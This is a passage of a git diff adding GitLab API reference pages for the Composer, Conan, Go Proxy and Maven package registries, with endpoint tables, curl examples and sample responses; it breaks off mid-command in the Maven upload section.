+## Download a package archive
+
+Download a Composer package. This URL is provided in the [v1](#v1-package-metadata)
+or [v2 package metadata](#v2-package-metadata)
+response. A `.zip` file extension must be in the request.
+
+```plaintext
+GET projects/:id/packages/composer/archives/:package_name
+```
+
+| Attribute | Type | Required | Description |
+| -------------- | ------ | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the group. |
+| `package_name` | string | yes | The name of the package. |
+| `sha` | string | yes | The target sha of the requested package version. |
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/composer/archives/my-org/my-composer-package.zip?sha=673594f85a55fe3c0eb45df7bd2fa9d95a1601ab"
+```
+
+Write the output to file:
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/composer/archives/my-org/my-composer-package.zip?sha=673594f85a55fe3c0eb45df7bd2fa9d95a1601ab" >> package.tar.gz
+```
+
+This writes the downloaded file to `package.tar.gz` in the current directory.
diff --git a/doc/api/packages/conan.md b/doc/api/packages/conan.md
new file mode 100644
index 00000000000..88ed2524173
--- /dev/null
+++ b/doc/api/packages/conan.md
@@ -0,0 +1,614 @@
+---
+stage: Package
+group: Package
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Conan API
+
+This is the API documentation for [Conan Packages](../../user/packages/conan_repository/index.md).
+
+WARNING:
+This API is used by the [Conan package manager client](https://docs.conan.io/en/latest/)
+and is generally not meant for manual consumption.
+
+For instructions on how to upload and install Conan packages from the GitLab
+package registry, see the [Conan package registry documentation](../../user/packages/conan_repository/index.md).
+
+NOTE:
+These endpoints do not adhere to the standard API authentication methods.
+See each route for details on how credentials are expected to be passed.
+
+## Route prefix
+
+There are two sets of identical routes that each make requests in different scopes:
+
+- Use the instance-level prefix to make requests in the entire GitLab instance's scope.
+- Use the project-level prefix to make requests in a single project's scope.
+
+The examples in this document all use the instance-level prefix.
+
+### Instance-level
+
+```plaintext
+/packages/conan/v1
+```
+
+When using the instance-level routes, be aware that there is a [naming
+restriction](../../user/packages/conan_repository/index.md#package-recipe-naming-convention-for-instance-remotes)
+for Conan recipes.
+
+### Project-level
+
+```plaintext
+ /projects/:id/packages/conan/v1`
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `id` | string | yes | The project ID or full project path. |
+
+## Ping
+
+> Introduced in GitLab 12.2.
+
+Ping the GitLab Conan repository to verify availability:
+
+```plaintext
+GET <route-prefix>/ping
+```
+
+```shell
+curl "https://gitlab.example.com/api/v4/packages/conan/v1/ping"
+```
+
+Example response:
+
+```json
+""
+```
+
+## Search
+
+> Introduced in GitLab 12.4.
+
+Search the instance for Conan packages by name:
+
+```plaintext
+GET <route-prefix>/conans/search
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `q` | string | yes | Search query. You can use `*` as a wildcard. |
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/packages/conan/v1/conans/search?q=Hello*"
+```
+
+Example response:
+
+```json
+{
+ "results": [
+ "Hello/0.1@foo+conan_test_prod/beta",
+ "Hello/0.1@foo+conan_test_prod/stable",
+ "Hello/0.2@foo+conan_test_prod/beta",
+ "Hello/0.3@foo+conan_test_prod/beta",
+ "Hello/0.1@foo+conan-reference-test/stable",
+ "HelloWorld/0.1@baz+conan-reference-test/beta"
+ "hello-world/0.4@buz+conan-test/alpha"
+ ]
+}
+```
+
+## Authenticate
+
+> Introduced in GitLab 12.2.
+
+Returns a JWT to be used for Conan requests in a Bearer header:
+
+```shell
+"Authorization: Bearer <token>
+```
+
+The Conan package manager client automatically uses this token.
+
+```plaintext
+GET <route-prefix>/users/authenticate
+```
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/packages/conan/v1/users/authenticate
+```
+
+Example response:
+
+```shell
+eyJhbGciOiJIUzI1NiIiheR5cCI6IkpXVCJ9.eyJhY2Nlc3NfdG9rZW4iOjMyMTQyMzAsqaVzZXJfaWQiOjQwNTkyNTQsImp0aSI6IjdlNzBiZTNjLWFlNWQtNDEyOC1hMmIyLWZiOThhZWM0MWM2OSIsImlhd3r1MTYxNjYyMzQzNSwibmJmIjoxNjE2NjIzNDMwLCJleHAiOjE2MTY2MjcwMzV9.QF0Q3ZIB2GW5zNKyMSIe0HIFOITjEsZEioR-27Rtu7E
+```
+
+## Check Credentials
+
+> Introduced in GitLab 12.4.
+
+Checks the validity of Basic Auth credentials or a Conan JWT generated from [`/authenticate`](#authenticate).
+
+```plaintext
+GET <route-prefix>/users/check_credentials
+```
+
+```shell
+curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/users/check_credentials
+```
+
+Example response:
+
+```shell
+ok
+```
+
+## Recipe Snapshot
+
+> Introduced in GitLab 12.5.
+
+This returns the snapshot of the recipe files for the specified Conan recipe. The snapshot is a list
+of filenames with their associated md5 hash.
+
+```plaintext
+GET <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `package_name` | string | yes | Name of a package. |
+| `package_version` | string | yes | Version of a package. |
+| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. |
+| `package_channel` | string | yes | Channel of a package. |
+
+```shell
+curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable"
+```
+
+Example response:
+
+```json
+{
+ "conan_sources.tgz": "eadf19b33f4c3c7e113faabf26e76277",
+ "conanfile.py": "25e55b96a28f81a14ba8e8a8c99eeace",
+ "conanmanifest.txt": "5b6fd77a2ba14303ce4cdb08c87e82ab"
+}
+```
+
+## Package Snapshot
+
+> Introduced in GitLab 12.5.
+
+This returns the snapshot of the package files for the specified Conan recipe with the specified
+Conan reference. The snapshot is a list of filenames with their associated md5 hash.
+
+```plaintext
+GET <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel/packages/:conan_package_reference
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `package_name` | string | yes | Name of a package. |
+| `package_version` | string | yes | Version of a package. |
+| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. |
+| `package_channel` | string | yes | Channel of a package. |
+| `conan_package_reference` | string | yes | Reference hash of a Conan package. Conan generates this value. |
+
+```shell
+curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f"
+```
+
+Example response:
+
+```json
+{
+ "conan_package.tgz": "749b29bdf72587081ca03ec033ee59dc",
+ "conaninfo.txt": "32859d737fe84e6a7ccfa4d64dc0d1f2",
+ "conanmanifest.txt": "a86b398e813bd9aa111485a9054a2301"
+}
+```
+
+## Recipe Manifest
+
+> Introduced in GitLab 12.5.
+
+The manifest is a list of recipe filenames with their associated download URLs.
+
+```plaintext
+GET <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel/digest
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `package_name` | string | yes | Name of a package. |
+| `package_version` | string | yes | Version of a package. |
+| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. |
+| `package_channel` | string | yes | Channel of a package. |
+
+```shell
+curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable/digest"
+```
+
+Example response:
+
+```json
+{
+ "conan_sources.tgz": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conan_sources.tgz",
+ "conanfile.py": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanfile.py",
+ "conanmanifest.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanmanifest.txt"
+}
+```
+
+The URLs in the response have the same route prefix used to request them. If you request them with
+the project-level route, the returned URLs contain `/projects/:id`.
+
+## Package Manifest
+
+> Introduced in GitLab 12.5.
+
+The manifest is a list of package filenames with their associated download URLs.
+
+```plaintext
+GET <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel/packages/:conan_package_reference/digest
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `package_name` | string | yes | Name of a package. |
+| `package_version` | string | yes | Version of a package. |
+| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. |
+| `package_channel` | string | yes | Channel of a package. |
+| `conan_package_reference` | string | yes | Reference hash of a Conan package. Conan generates this value. |
+
+```shell
+curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/digest"
+```
+
+Example response:
+
+```json
+{
+ "conan_package.tgz": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conan_package.tgz",
+ "conaninfo.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conaninfo.txt",
+ "conanmanifest.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conanmanifest.txt"
+}
+```
+
+The URLs in the response have the same route prefix used to request them. If you request them with
+the project-level route, the returned URLs contain `/projects/:id`.
+
+## Recipe Download URLs
+
+> Introduced in GitLab 12.5.
+
+Returns a list of recipe filenames with their associated download URLs.
+This is the same payload as the [recipe manifest](#recipe-manifest) endpoint.
+
+```plaintext
+GET <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel/download_urls
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `package_name` | string | yes | Name of a package. |
+| `package_version` | string | yes | Version of a package. |
+| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. |
+| `package_channel` | string | yes | Channel of a package. |
+
+```shell
+curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable/digest"
+```
+
+Example response:
+
+```json
+{
+ "conan_sources.tgz": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conan_sources.tgz",
+ "conanfile.py": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanfile.py",
+ "conanmanifest.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanmanifest.txt"
+}
+```
+
+The URLs in the response have the same route prefix used to request them. If you request them with
+the project-level route, the returned URLs contain `/projects/:id`.
+
+## Package Download URLs
+
+> Introduced in GitLab 12.5.
+
+Returns a list of package filenames with their associated download URLs.
+This is the same payload as the [package manifest](#package-manifest) endpoint.
+
+```plaintext
+GET <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel/packages/:conan_package_reference/download_urls
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `package_name` | string | yes | Name of a package. |
+| `package_version` | string | yes | Version of a package. |
+| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. |
+| `package_channel` | string | yes | Channel of a package. |
+| `conan_package_reference` | string | yes | Reference hash of a Conan package. Conan generates this value. |
+
+```shell
+curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/download_urls"
+```
+
+Example response:
+
+```json
+{
+ "conan_package.tgz": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conan_package.tgz",
+ "conaninfo.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conaninfo.txt",
+ "conanmanifest.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conanmanifest.txt"
+}
+```
+
+The URLs in the response have the same route prefix used to request them. If you request them with
+the project-level route, the returned URLs contain `/projects/:id`.
+
+## Recipe Upload URLs
+
+> Introduced in GitLab 12.5.
+
+Given a list of recipe filenames and file sizes, a list of URLs to upload each file is returned.
+
+```plaintext
+POST <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel/upload_urls
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `package_name` | string | yes | Name of a package. |
+| `package_version` | string | yes | Version of a package. |
+| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. |
+| `package_channel` | string | yes | Channel of a package. |
+
+Example request JSON payload:
+
+```json
+{
+ "conanfile.py": 410,
+ "conanmanifest.txt": 130
+}
+```
+
+```shell
+curl --request POST \
+ --header "Authorization: Bearer <authenticate_token>" \
+ --header "Content-Type: application/json" \
+ --data '{"conanfile.py":410,"conanmanifest.txt":130}' \
+ "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable/upload_urls"
+```
+
+Example response:
+
+```json
+{
+ "conanfile.py": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanfile.py",
+ "conanmanifest.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanmanifest.txt"
+}
+```
+
+The URLs in the response have the same route prefix used to request them. If you request them with
+the project-level route, the returned URLs contain `/projects/:id`.
+
+## Package Upload URLs
+
+> Introduced in GitLab 12.5.
+
+Given a list of package filenames and file sizes, a list of URLs to upload each file is returned.
+
+```plaintext
+POST <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel/packages/:conan_package_reference/upload_urls
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `package_name` | string | yes | Name of a package. |
+| `package_version` | string | yes | Version of a package. |
+| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. |
+| `package_channel` | string | yes | Channel of a package. |
+| `conan_package_reference` | string | yes | Reference hash of a Conan package. Conan generates this value. |
+
+Example request JSON payload:
+
+```json
+{
+ "conan_package.tgz": 5412,
+ "conanmanifest.txt": 130,
+ "conaninfo.txt": 210
+ }
+```
+
+```shell
+curl --request POST \
+ --header "Authorization: Bearer <authenticate_token>" \
+ --header "Content-Type: application/json" \
+ --data '{"conan_package.tgz":5412,"conanmanifest.txt":130,"conaninfo.txt":210}'
+ "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/upload_urls"
+```
+
+Example response:
+
+```json
+{
+ "conan_package.tgz": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/package/103f6067a947f366ef91fc1b7da351c588d1827f/0/conan_package.tgz",
+ "conanmanifest.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/package/103f6067a947f366ef91fc1b7da351c588d1827f/0/conanmanifest.txt",
+ "conaninfo.txt": "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/package/103f6067a947f366ef91fc1b7da351c588d1827f/0/conaninfo.txt"
+}
+```
+
+The URLs in the response have the same route prefix used to request them. If you request them with
+the project-level route, the returned URLs contain `/projects/:id`.
+
+## Download a Recipe file
+
+> Introduced in GitLab 12.6.
+
+Download a recipe file to the package registry. You must use a download URL that the
+[recipe download URLs endpoint](#recipe-download-urls)
+returned.
+
+```shell
+GET packages/conan/v1/files/:package_name/:package_version/:package_username/:package_channel/:recipe_revision/export/:file_name
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `package_name` | string | yes | Name of a package. |
+| `package_version` | string | yes | Version of a package. |
+| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. |
+| `package_channel` | string | yes | Channel of a package. |
+| `recipe_revision` | string | yes | Revision of the recipe. GitLab does not yet support Conan revisions, so the default value of `0` is always used. |
+| `file_name` | string | yes | The name and file extension of the requested file. |
+
+```shell
+curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanfile.py"
+```
+
+You can also write the output to a file by using:
+
+```shell
+curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanfile.py" >> conanfile.py
+```
+
+This example writes to `conanfile.py` in the current directory.
+
+## Upload a Recipe file
+
+> Introduced in GitLab 12.6.
+
+Upload a recipe file to the package registry. You must use an upload URL that the
+[recipe upload URLs endpoint](#recipe-upload-urls)
+returned.
+
+```shell
+GET packages/conan/v1/files/:package_name/:package_version/:package_username/:package_channel/:recipe_revision/export/:file_name
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `package_name` | string | yes | Name of a package. |
+| `package_version` | string | yes | Version of a package. |
+| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. |
+| `package_channel` | string | yes | Channel of a package. |
+| `recipe_revision` | string | yes | Revision of the recipe. GitLab does not yet support Conan revisions, so the default value of `0` is always used. |
+| `file_name` | string | yes | The name and file extension of the requested file. |
+
+Provide the file context in the request body:
+
+```shell
+curl --header "Authorization: Bearer <authenticate_token>" \
+ --upload-file path/to/conanfile.py \
+ "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanfile.py"
+```
+
+## Download a Package file
+
+> Introduced in GitLab 12.6.
+
+Download a package file to the package registry. You must use a download URL that the
+[package download URLs endpoint](#package-download-urls)
+returned.
+
+```shell
+GET packages/conan/v1/files/:package_name/:package_version/:package_username/:package_channel/:recipe_revision/package/:conan_package_reference/:package_revision/:file_name
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `package_name` | string | yes | Name of a package. |
+| `package_version` | string | yes | Version of a package. |
+| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. |
+| `package_channel` | string | yes | Channel of a package. |
+| `recipe_revision` | string | yes | Revision of the recipe. GitLab does not yet support Conan revisions, so the default value of `0` is always used. |
+| `conan_package_reference` | string | yes | Reference hash of a Conan package. Conan generates this value. |
+| `package_revision` | string | yes | Revision of the package. GitLab does not yet support Conan revisions, so the default value of `0` is always used. |
+| `file_name` | string | yes | The name and file extension of the requested file. |
+
+```shell
+curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conaninfo.txt"
+```
+
+You can also write the output to a file by using:
+
+```shell
+curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conaninfo.txt" >> conaninfo.txt
+```
+
+This example writes to `conaninfo.txt` in the current directory.
+
+## Upload a Package file
+
+> Introduced in GitLab 12.6.
+
+Upload a package file to the package registry. You must use an upload URL that the
+[package upload URLs endpoint](#package-upload-urls)
+returned.
+
+```shell
+GET packages/conan/v1/files/:package_name/:package_version/:package_username/:package_channel/:recipe_revision/package/:conan_package_reference/:package_revision/:file_name
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `package_name` | string | yes | Name of a package. |
+| `package_version` | string | yes | Version of a package. |
+| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. |
+| `package_channel` | string | yes | Channel of a package. |
+| `recipe_revision` | string | yes | Revision of the recipe. GitLab does not yet support Conan revisions, so the default value of `0` is always used. |
+| `conan_package_reference` | string | yes | Reference hash of a Conan package. Conan generates this value. |
+| `package_revision` | string | yes | Revision of the package. GitLab does not yet support Conan revisions, so the default value of `0` is always used. |
+| `file_name` | string | yes | The name and file extension of the requested file. |
+
+Provide the file context in the request body:
+
+```shell
+curl --header "Authorization: Bearer <authenticate_token>" \
+ --upload-file path/to/conaninfo.txt \
+ "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conaninfo.txt"
+```
+
+## Delete a Package (delete a Conan recipe)
+
+> Introduced in GitLab 12.5.
+
+Delete the Conan recipe and package files from the registry:
+
+```plaintext
+DELETE <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `package_name` | string | yes | Name of a package. |
+| `package_version` | string | yes | Version of a package. |
+| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. |
+| `package_channel` | string | yes | Channel of a package. |
+
+```shell
+curl --request DELETE --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable"
+```
+
+Example response:
+
+```json
+{
+ "id": 1,
+ "project_id": 123,
+ "created_at": "2020-08-19T13:17:28.655Z",
+ "updated_at": "2020-08-19T13:17:28.655Z",
+ "name": "my-package",
+ "version": "1.0",
+ "package_type": "conan",
+ "creator_id": null,
+ "status": "default"
+}
+```
diff --git a/doc/api/packages/go_proxy.md b/doc/api/packages/go_proxy.md
new file mode 100644
index 00000000000..2f81435db42
--- /dev/null
+++ b/doc/api/packages/go_proxy.md
@@ -0,0 +1,133 @@
+---
+stage: Package
+group: Package
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Go Proxy API
+
+This is the API documentation for [Go Packages](../../user/packages/go_proxy/index.md).
+This API is behind a feature flag that is disabled by default. GitLab administrators with access to
+the GitLab Rails console can [enable](../../administration/feature_flags.md)
+this API for your GitLab instance.
+
+WARNING:
+This API is used by the [Go client](https://maven.apache.org/)
+and is generally not meant for manual consumption.
+
+For instructions on how to work with the Go Proxy, see the [Go Proxy package documentation](../../user/packages/go_proxy/index.md).
+
+NOTE:
+These endpoints do not adhere to the standard API authentication methods.
+See the [Go Proxy package documentation](../../user/packages/go_proxy/index.md)
+for details on which headers and token types are supported.
+
+## List
+
+> Introduced in GitLab 13.1.
+
+Get all tagged versions for a given Go module:
+
+```plaintext
+GET projects/:id/packages/go/:module_name/@v/list
+```
+
+| Attribute | Type | Required | Description |
+| -------------- | ------ | -------- | ----------- |
+| `id` | string | yes | The project ID or full path of a project. |
+| `module_name` | string | yes | The name of the Go module. |
+
+```shell
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/go/my-go-module/@v/list"
+```
+
+Example output:
+
+```shell
+"v1.0.0\nv1.0.1\nv1.3.8\n2.0.0\n2.1.0\n3.0.0"
+```
+
+## Version metadata
+
+> Introduced in GitLab 13.1.
+
+Get all tagged versions for a given Go module:
+
+```plaintext
+GET projects/:id/packages/go/:module_name/@v/:module_version.info
+```
+
+| Attribute | Type | Required | Description |
+| ----------------- | ------ | -------- | ----------- |
+| `id` | string | yes | The project ID or full path of a project. |
+| `module_name` | string | yes | The name of the Go module. |
+| `module_version` | string | yes | The version of the Go module. |
+
+```shell
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/go/my-go-module/@v/1.0.0.info"
+```
+
+Example output:
+
+```json
+{
+ "Version": "v1.0.0",
+ "Time": "1617822312 -0600"
+}
+```
+
+## Download module file
+
+> Introduced in GitLab 13.1.
+
+Fetch the `.mod` module file:
+
+```plaintext
+GET projects/:id/packages/go/:module_name/@v/:module_version.mod
+```
+
+| Attribute | Type | Required | Description |
+| ----------------- | ------ | -------- | ----------- |
+| `id` | string | yes | The project ID or full path of a project. |
+| `module_name` | string | yes | The name of the Go module. |
+| `module_version` | string | yes | The version of the Go module. |
+
+```shell
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/go/my-go-module/@v/1.0.0.mod"
+```
+
+Write to a file:
+
+```shell
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/go/my-go-module/@v/1.0.0.mod" >> foo.mod
+```
+
+This writes to `foo.mod` in the current directory.
+
+## Download module source
+
+> Introduced in GitLab 13.1.
+
+Fetch the `.zip` of the module source:
+
+```plaintext
+GET projects/:id/packages/go/:module_name/@v/:module_version.zip
+```
+
+| Attribute | Type | Required | Description |
+| ----------------- | ------ | -------- | ----------- |
+| `id` | string | yes | The project ID or full path of a project. |
+| `module_name` | string | yes | The name of the Go module. |
+| `module_version` | string | yes | The version of the Go module. |
+
+```shell
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/go/my-go-module/@v/1.0.0.zip"
+```
+
+Write to a file:
+
+```shell
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/go/my-go-module/@v/1.0.0.zip" >> foo.zip
+```
+
+This writes to `foo.zip` in the current directory.
diff --git a/doc/api/packages/maven.md b/doc/api/packages/maven.md
new file mode 100644
index 00000000000..d03c9be3060
--- /dev/null
+++ b/doc/api/packages/maven.md
@@ -0,0 +1,124 @@
+---
+stage: Package
+group: Package
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Maven API
+
+This is the API documentation for [Maven Packages](../../user/packages/maven_repository/index.md).
+
+WARNING:
+This API is used by the [Maven package manager client](https://maven.apache.org/)
+and is generally not meant for manual consumption.
+
+For instructions on how to upload and install Maven packages from the GitLab
+package registry, see the [Maven package registry documentation](../../user/packages/maven_repository/index.md).
+
+NOTE:
+These endpoints do not adhere to the standard API authentication methods.
+See [Maven package registry documentation](../../user/packages/maven_repository/index.md)
+for details on which headers and token types are supported.
+
+## Download a package file at the instance-level
+
+> Introduced in GitLab 11.6.
+
+Download a Maven package file:
+
+```plaintext
+GET packages/maven/*path/:file_name
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `path` | string | yes | The Maven package path, in the format `<groupId>/<artifactId>/<version>`. Replace any `.` in the `groupId` with `/`. |
+| `file_name` | string | yes | The name of the Maven package file. |
+
+```shell
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/packages/maven/foo/bar/baz/mypkg-1.0-SNAPSHOT.jar"
+```
+
+To write the output to file:
+
+```shell
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/packages/maven/foo/bar/baz/mypkg-1.0-SNAPSHOT.jar" >> mypkg-1.0-SNAPSHOT.jar
+```
+
+This writes the downloaded file to `mypkg-1.0-SNAPSHOT.jar` in the current directory.
+
+## Download a package file at the group-level
+
+> Introduced in GitLab 11.7.
+
+Download a Maven package file:
+
+```plaintext
+GET groups/:id/-/packages/maven/*path/:file_name
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `path` | string | yes | The Maven package path, in the format `<groupId>/<artifactId>/<version>`. Replace any `.` in the `groupId` with `/`. |
+| `file_name` | string | yes | The name of the Maven package file. |
+
+```shell
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/groups/1/-/packages/maven/foo/bar/baz/mypkg-1.0-SNAPSHOT.jar"
+```
+
+To write the output to file:
+
+```shell
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/groups/1/-/packages/maven/foo/bar/baz/mypkg-1.0-SNAPSHOT.jar" >> mypkg-1.0-SNAPSHOT.jar
+```
+
+This writes the downloaded file to `mypkg-1.0-SNAPSHOT.jar` in the current directory.
+
+## Download a package file at the project-level
+
+> Introduced in GitLab 11.3.
+
+Download a Maven package file:
+
+```plaintext
+GET projects/:id/packages/maven/*path/:file_name
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `path` | string | yes | The Maven package path, in the format `<groupId>/<artifactId>/<version>`. Replace any `.` in the `groupId` with `/`. |
+| `file_name` | string | yes | The name of the Maven package file. |
+
+```shell
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/maven/foo/bar/baz/mypkg-1.0-SNAPSHOT.jar"
+```
+
+To write the output to file:
+
+```shell
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/maven/foo/bar/baz/mypkg-1.0-SNAPSHOT.jar" >> mypkg-1.0-SNAPSHOT.jar
+```
+
+This writes the downloaded file to `mypkg-1.0-SNAPSHOT.jar` in the current directory.
+
+## Upload a package file
+
+> Introduced in GitLab 11.3.
+
+Upload a Maven package file:
+
+```plaintext
+PUT projects/:id/packages/maven/*path/:file_name
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `path` | string | yes | The Maven package path, in the format `<groupId>/<artifactId>/<version>`. Replace any `.` in the `groupId` with `/`. |
+| `file_name` | string | yes | The name of the Maven package file. |
+
+```shell
+curl --request PUT \
